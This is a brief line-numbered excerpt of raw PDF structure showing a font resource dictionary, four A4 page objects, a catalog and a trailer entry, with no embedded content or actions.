1087 /Font<</F1 1 0 R/F2 2 0 R/F3 3 0 R/F4 4 0 R>> >>
1090 <</Type/Page/Parent 14 0 R
1091 /MediaBox[ 0 0 595 842]
1097 <</Type/Page/Parent 14 0 R
1098 /MediaBox[ 0 0 595 842]
1104 <</Type/Page/Parent 14 0 R
1105 /MediaBox[ 0 0 595 842]
1111 <</Type/Page/Parent 14 0 R
1112 /MediaBox[ 0 0 595 842]
1127 <</Type/Catalog/Pages 14 0 R >>
1148 << /Size 16 /Root 15 0 R